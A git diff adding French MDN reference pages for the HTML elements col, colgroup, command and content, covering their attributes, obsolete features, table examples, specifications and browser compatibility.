+  <li>Si le tableau n'utilise pas l'attribut {{htmlattrxref("colspan", "td")}} l'effet peut être obtenu avec une combinaison de différents sélecteurs CSS comme <code>[colspan=n]</code>. Cependant cela n'est pas trivial à réaliser.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut définit la largeur par défaut pour chaque colonne dans le groupe de colonnes. En plus de la notation standard en pixels et pourcents, cet attribut peut prendre la valeur spéciale<code> 0*</code>, indiquant ainsi que la largeur de chaque colonne doit être suffisante pour contenir les contenus des cellules. Utiliser cette notation de manière relative (par exemple <code>0.5*</code> ) est également possible.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;colgroup&gt;
+  &lt;col class="premiereColonne"&gt;
+  &lt;col class="deuxDernieresColonnes" span="2"&gt;
+ &lt;/colgroup&gt;
+ &lt;tr&gt;
+  &lt;th&gt;Citron vert&lt;/th&gt;
+  &lt;th&gt;Citron&lt;/th&gt;
+  &lt;th&gt;Orange&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+  &lt;td&gt;Vert&lt;/td&gt;
+  &lt;td&gt;Jaune&lt;/td&gt;
+  &lt;td&gt;Orange&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> On pourra consulter la page {{HTMLElement("table")}} pour d'autres exemples sur les tableaux.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégorie de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>La balise ouvrante est obligatoire, l'élément étant un élément vide, la balise de fin est interdite.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>{{HTMLElement("colgroup")}} uniquement. Toutefois, ce parent peut être défini de façon implicite car sa balise ouvrante n'est pas obligatoire. L'élément {{HTMLElement("colgroup")}} ne doit pas avoir d'attribut {{htmlattrxref("span", "colgroup")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableColElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tables.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.4.2', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.col")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux :
+  <ul>
+   <li>{{HTMLElement("caption")}}</li>
+   <li>{{HTMLElement("colgroup")}}</li>
+   <li>{{HTMLElement("table")}}</li>
+   <li>{{HTMLElement("tbody")}}</li>
+   <li>{{HTMLElement("td")}}</li>
+   <li>{{HTMLElement("tfoot")}}</li>
+   <li>{{HTMLElement("th")}}</li>
+   <li>{{HTMLElement("thead")}}</li>
+   <li>{{HTMLElement("tr")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés et pseudo-classes CSS qui peuvent s'avérer utiles pour mettre en forme l'élément <code>&lt;col&gt;</code> :
+  <ul>
+   <li>La propriété {{cssxref("width")}} pour contrôler la largeur de la colonne</li>
+   <li>La pseudo-classe {{cssxref(":nth-child")}} qui permet de définir l'alignement sur les cellules d'une colonne</li>
+   <li>La propriété {{cssxref("text-align")}} qui permet d'aligner le contenu de cellules sur le même caractère (le point « . » par exemple).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/colgroup/index.html b/files/fr/web/html/element/colgroup/index.html
new file mode 100644
index 0000000000..3de84d1f8c
--- /dev/null
+++ b/files/fr/web/html/element/colgroup/index.html
@@ -0,0 +1,276 @@
+---
+title: <colgroup>
+slug: Web/HTML/Element/colgroup
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableau
+  - Web
+translation_of: Web/HTML/Element/colgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;colgroup&gt;</code></strong> définit un groupe de colonnes au sein d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/colgroup.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut à valeur contrainte définit l'alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left</code> : le contenu de la cellule est alligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insère des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "col")}} et {{htmlattrxref("charoff", "col")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur <code>left</code> sera prise comme valeur par défaut. Les éléments {{HTMLElement("col")}} descendants peuvent surcharger cette valeur en utilisant leur attribut {{htmlattrxref("align", "col")}}.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète et n'est plus supporté dans le dernier standard
+
+ <ul>
+  <li>Pour réaliser les mêmes effets que les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code> :
+
+   <ul>
+    <li>Ne pas utiliser la propriété {{cssxref("text-align")}} sur un sélecteur renvoyant un élement {{HTMLElement("colgroup")}}. Les éléments {{HTMLElement("td")}} ne sont pas des descendants de l'élément {{HTMLElement("colgroup")}} il n'hériteront pas de cette propriété.</li>
+    <li>Si le tableau n'utilise pas l'attribut {{htmlattrxref("colspan", "td")}}, il est possible d'utiliser le sélecteur CSS <code>tr:nth-child(an+b)</code> avec a le nombre total de colonnes du tableau et b la position ordinale de la colonne. Une fois que ce selecteur a été utilisé, la propriété {{cssxref("text-align")}} peut être utilisée.</li>
+    <li>Si le tableau utilise l'attribut {{htmlattrxref("colspan", "td")}}, l'effet peut être réalisé en combinant différents sélecteurs CSS comme <code>[colspan=n]</code>. Cependant cela n'est pas trivial à réaliser.</li>
+   </ul>
+  </li>
+  <li>Pour réaliser le même effet qu'avec la valeur <code>char</code>. Il est possible, en CSS3, d'utiliser la valeur de l'attribut {{htmlattrxref("char", "colgroup")}} comme valeur de la propriété {{cssxref("text-align")}}. {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules des colonnes appartenant au groupe de colonnes. C'est un code à 6 chiffres hexadécimaux tel que défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, précédé d'un '#'. Un de ces seize mots-clés, comme présentés ci-dessous, peut être utilisé.
+ <table>
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémenté que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("colgroup")}} doit être mis en forme grâce au <a href="/fr/docs/Web/CSS">CSS</a>. Pour fournir un effet semblable à celui réalisé par l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments  {{HTMLElement("td")}} souhaités.</div>
+ </dd>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut spécifie l'alignement du contenu d'un groupe de colonnes en fonction d'un caractère.<br>
+  Les valeurs généralement utilisées pour cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "col")}} ne vaut pas <code>char</code>, l'attribut est ignoré. Cet attribut peut être surchargé avec l'attribut {{htmlattrxref("align", "col")}} de chacun des éléments {{HTMLElement("col")}} appartenant au groupe de colonnes.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "colgroup")}}, on pourra utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd>La valeur de cet attribut est un entier positif indiquant le nombre de colonnes consécutives sur lesquelles appliquer les attributs de l'élément. S'il est absent, sa valeur par défaut est 1.
+ <div class="note"><strong>Note : </strong>Cet attribut s'applique aux attributs des colonnes du groupe. Il n'a pas d'effet sur les différentes règles CSS associées au groupe ou aux cellules des colonnes de ce groupe.. L'attribut <code>span</code>n'est pas autorisé s'il y a un ou plusieurs éléments <code>&lt;col&gt;</code> au sein de <code>&lt;colgroup&gt;</code>.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> : qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> : qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> : qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> : qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Notes d'utilisation : </strong>Cet attribut étant maintenant obsolète (et n'étant plus supporté), il est fortement déconseillé de l'utiliser.
+
+ <ul>
+  <li>Il ne faut pas essayer de régler la propriété {{cssxref("vertical-align")}} sur un sélecteur retournant un élément {{HTMLElement("colgroup")}}. En effet les éléments {{HTMLElement("td")}} n'étant pas des descendants de l'élément {{HTMLElement("colgroup")}} ils n'hériteront pas de la propriété.</li>
+  <li>Si le tableau n'utilise pas d'attribut {{htmlattrxref("colspan", "td")}} il est possible d'utiliser le sélecteur CSS <code>tr:nth-child(an+b)</code> avec a le nombre de colonne du tableau et b la position ordinale de la colonne dans le tableau puis d'utiliser la propriété {{cssxref("vertical-align")}} sur le sélecteur.</li>
+  <li>Si le tableau n'utilise pas l'attribut {{htmlattrxref("colspan", "td")}} l'effet peut être obtenu avec une combinaison de différents sélecteurs CSS comme <code>[colspan=n]</code>. Cependant cela n'est pas trivial à réaliser.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut définit la largeur par défaut pour chaque colonne dans le groupe de colonnes. En plus de la notation standard en pixels et en pourcents, cet attribut peut prendre la valeur spéciale<code> 0*</code>, indiquant ainsi que la largeur de chaque colonne doit être suffisante pour contenir les contenus des cellules. On peut également utiliser cette notation de manière relative (par exemple <code>0.5*</code>).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;colgroup&gt;
+  &lt;col class="premiereColonne"&gt;
+  &lt;col class="deuxDernieresColonnes" span="2"&gt;
+ &lt;/colgroup&gt;
+ &lt;tr&gt;
+  &lt;th&gt;Citron vert&lt;/th&gt;
+  &lt;th&gt;Citron&lt;/th&gt;
+  &lt;th&gt;Orange&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+  &lt;td&gt;Vert&lt;/td&gt;
+  &lt;td&gt;Jaune&lt;/td&gt;
+  &lt;td&gt;Orange&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> On pourra consulter la page {{HTMLElement("table")}} pour d'autres exemples sur les tableaux.</p>
+</div>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Si l'attribut {{htmlattrxref("span", "colgroup")}} est présent : aucun car c'est un élément vide.<br>
+    Si l'attribut n'est pas présent, zéro ou plusieurs éléments {{HTMLElement("col")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début peut être absente si le premier élément fils {{HTMLElement("col")}} et que celui-ci n'est pas précédé par un élément {{HTMLElement("colgroup")}} dont la balise de fin est absente. La balise de fin peut être absente s'il n'est pas suivi par un blanc ou par un commentaire.</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>Un élément {{HTMLElement("table")}}. {{HTMLElement("colgroup")}} doit apparaître après tout élément  {{HTMLElement("caption")}} optionnel et avant tout élément {{HTMLElement("thead")}}, {{HTMLElement("th")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}} et {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableColElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tables.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'tables.html#edef-COLGROUP', '&lt;colgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.colgroup")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML liés aux tableaux :
+  <ul>
+   <li>{{HTMLElement("caption")}}</li>
+   <li>{{HTMLElement("col")}}</li>
+   <li>{{HTMLElement("table")}}</li>
+   <li>{{HTMLElement("tbody")}}</li>
+   <li>{{HTMLElement("td")}}</li>
+   <li>{{HTMLElement("tfoot")}}</li>
+   <li>{{HTMLElement("th")}}</li>
+   <li>{{HTMLElement("thead")}}</li>
+   <li>{{HTMLElement("tr")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés et pseudo-classes CSS qui peuvent s'avérer utiles pour mettre en forme l'élément <code>&lt;col&gt;</code> :
+  <ul>
+   <li>la propriété {{cssxref("width")}} pour contrôler la largeur de la colonne</li>
+   <li>la pseudo-classe {{cssxref(":nth-child")}} pour définir l'alignement des cellules d'une colonne</li>
+   <li>la propriété {{cssxref("text-align")}} pour aligner le contenu de cellules sur le même caractère (par exemple un point « . »).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/command/index.html b/files/fr/web/html/element/command/index.html
new file mode 100644
index 0000000000..d5bdf50924
--- /dev/null
+++ b/files/fr/web/html/element/command/index.html
@@ -0,0 +1,117 @@
+---
+title: '<command> : l''élément de commande'
+slug: Web/HTML/Element/command
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+translation_of: Web/HTML/Element/command
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;command&gt;</code></strong> représente une commande qui peut être lancée par l'utilisateur. Ces commandes font généralement partie d'un menu contextuel ou d'une barre d'outils mais on peut les exécuter n'importe où sur la page.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'élément <code>&lt;command&gt;</code> est inclus dans la spécification du W3C mais pas dans celle du WHATWG. Par ailleurs, à l'heure actuelle, aucun navigateur ne prend en charge cet élément.</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>Comme pour tous les éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>Cet attribut indique que la commande est sélectionnée. Il ne doit pas être utilisé si l'attribut <code>type</code> ne vaut pas <code>checkbox</code> ou <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Cet attribut indique que la commande n'est pas disponible.</dd>
+ <dt>{{htmlattrdef("icon")}}</dt>
+ <dd>Cet attribut fournit une image qui représente la commande.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Cet attribut indique le nom de la commande telle qu'elle est affichée à l'utilisateur.</dd>
+ <dt>{{htmlattrdef("radiogroup")}}</dt>
+ <dd>Cet attribut indique le nom du groupe de commandes auquel appartient la commande lorsque l'attribut <code>type</code> vaut <code>radio</code> le groupe sera activé lorsque la commande sera activée. Cet attribut ne doit pas être utilisé lorsque l'attribut <code>type</code> ne vaut pas <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut à valeur contrainte indique le type de commande. On peut utiliser une des trois valeurs .
+ <ul>
+  <li>
+   <p><code>command</code> (le type par défaut) indique une commande normale.</p>
+  </li>
+  <li>
+   <p><code>checkbox</code> indique que la commande peut être activée grâce à une case à cocher.</p>
+  </li>
+  <li>
+   <p><code>radio</code> indique que la commande peut être activée grâce à un bouton radio.</p>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;command type="command" label="Save"
+  icon="icons/save.png" onclick="save()"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_m%C3%A9ta-donn%C3%A9es">contenu de méta-données</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire et la balise de fin est interdite car c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Éléments parents autorisés</th>
+   <td>{{HTMLElement("colgroup")}} uniquement bien que celui-ci puisse être défini implicitement car sa balise de début n'est pas obligatoire. L'élément {{HTMLElement("colgroup")}} ne doit pas avoir d'élément fils {{HTMLElement("span")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLCommandElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#commands')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '&lt;command&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.command")}}</p>
diff --git a/files/fr/web/html/element/content/index.html b/files/fr/web/html/element/content/index.html
new file mode 100644
index 0000000000..e3c3c4b46f
--- /dev/null
+++ b/files/fr/web/html/element/content/index.html
@@ -0,0 +1,116 @@
+---
+title: <content>
+slug: Web/HTML/Element/content
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/content
+---
+<div>{{Deprecated_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;content&gt;</code></strong> était utilisé au sein d'un <em><a href="/fr/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a></em> comme point d'insertion. Cet élément est désormais obsolète et n'était pas conçu pour être utilisé dans un document HTML simple mais pour être employé dans <a href="/fr/docs/Web/Web_Components">des composants web</a>. Il est désormais remplacé par l'élément <code><strong>&lt;slot&gt;</strong></code> qui permet de créer un point d'insertion pour un <em>shadow DOM</em> au sein du DOM.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Bien que cet élément soit présent dans les premiers brouillons ded la spécification et implémenté dans plusieurs navigateurs, il a été retiré des dernières versions de la spécification et ne doit pas être utilisé. Cet élément est documenté afin d'aider à la migration.</p>
+</div>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>Comme pour tous les éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur <code>&lt;content&gt;</code>.</p>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>Une liste de sélecteurs séparés par des virgules. La syntaxe utilisée est la même que celle utilisée pour les sélecteurs CSS. Ils permettent de sélectionner le contenu à insérer à la place de l'élément <code>&lt;content&gt;</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici un exemple simple d'utilisation de l'élément <code>&lt;content&gt;</code>. Il s'agit d'un fichier HTML It is an HTML file with everything needed in it.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Pour que ce code fonctionne, le navigateur utilisé doit prendre en charge les composants web (voir par exemple <a href="/fr/docs/Web/Web_Components#Activer_les_Web_Components_dans_Firefox">l'activation des composants web dans Firefox</a>).</p>
+</div>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;&lt;/head&gt;
+  &lt;body&gt;
+  &lt;!-- Le contenu original auquel on accède via &lt;content&gt; --&gt;
+  &lt;div&gt;
+    &lt;h4&gt;L'en-tête de mon contenu&lt;/h4&gt;
+    &lt;p&gt;Le texte de mon contenu&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;script&gt;
+  // On récupère le &lt;div&gt; ci-avant.
+  var myContent = document.querySelector('div');
+  // On crée un shadow DOM sur le &lt;div&gt;
+  var shadowroot = myContent.createShadowRoot();
+  // On ajoute un nouvel en-tête dans le shadow DOM
+  // et on conserve le paragraphe original.
+  shadowroot.innerHTML =
+   '&lt;h2&gt;Titre inséré&lt;/h2&gt; &lt;content select="p"&gt;&lt;/content&gt;';
+  &lt;/script&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","130")}}</p>
+
